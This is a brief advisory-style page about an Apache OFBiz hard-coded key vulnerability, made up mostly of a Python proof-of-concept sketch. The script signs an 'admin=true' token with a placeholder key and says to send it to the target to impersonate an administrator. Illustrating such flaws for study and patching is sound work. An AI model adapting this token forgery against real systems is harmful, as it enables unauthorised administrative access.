CVE-2026-31986 Apache OFBiz硬编码密钥漏洞

# PoC Concept for Hard-coded Key Usage import hmac import hashlib # The hard-coded key found in the vulnerable version of Apache OFBiz # (Note: In a real scenario, this key is extracted from the source code) HARDCODED_KEY = b'default_secret_key_ofbiz_placeholder' def generate_malicious_token(user_id): """ Simulates generating a forged token using the hard-coded key. """ message = f"user={user_id}&admin=true".encode('utf-8') signature = hmac.new(HARDCODED_KEY, message, hashlib.sha256).hexdigest() # Construct the malicious request payload payload = message.decode('utf-8') + f"&sig={signature}" return payload if __name__ == "__main__": print("[+] Generating malicious token for user 'attacker'...") token = generate_malicious_token("attacker") print(f"[+] Malicious Token: {token}") print("[+] Send this token to the target endpoint to impersonate an admin.")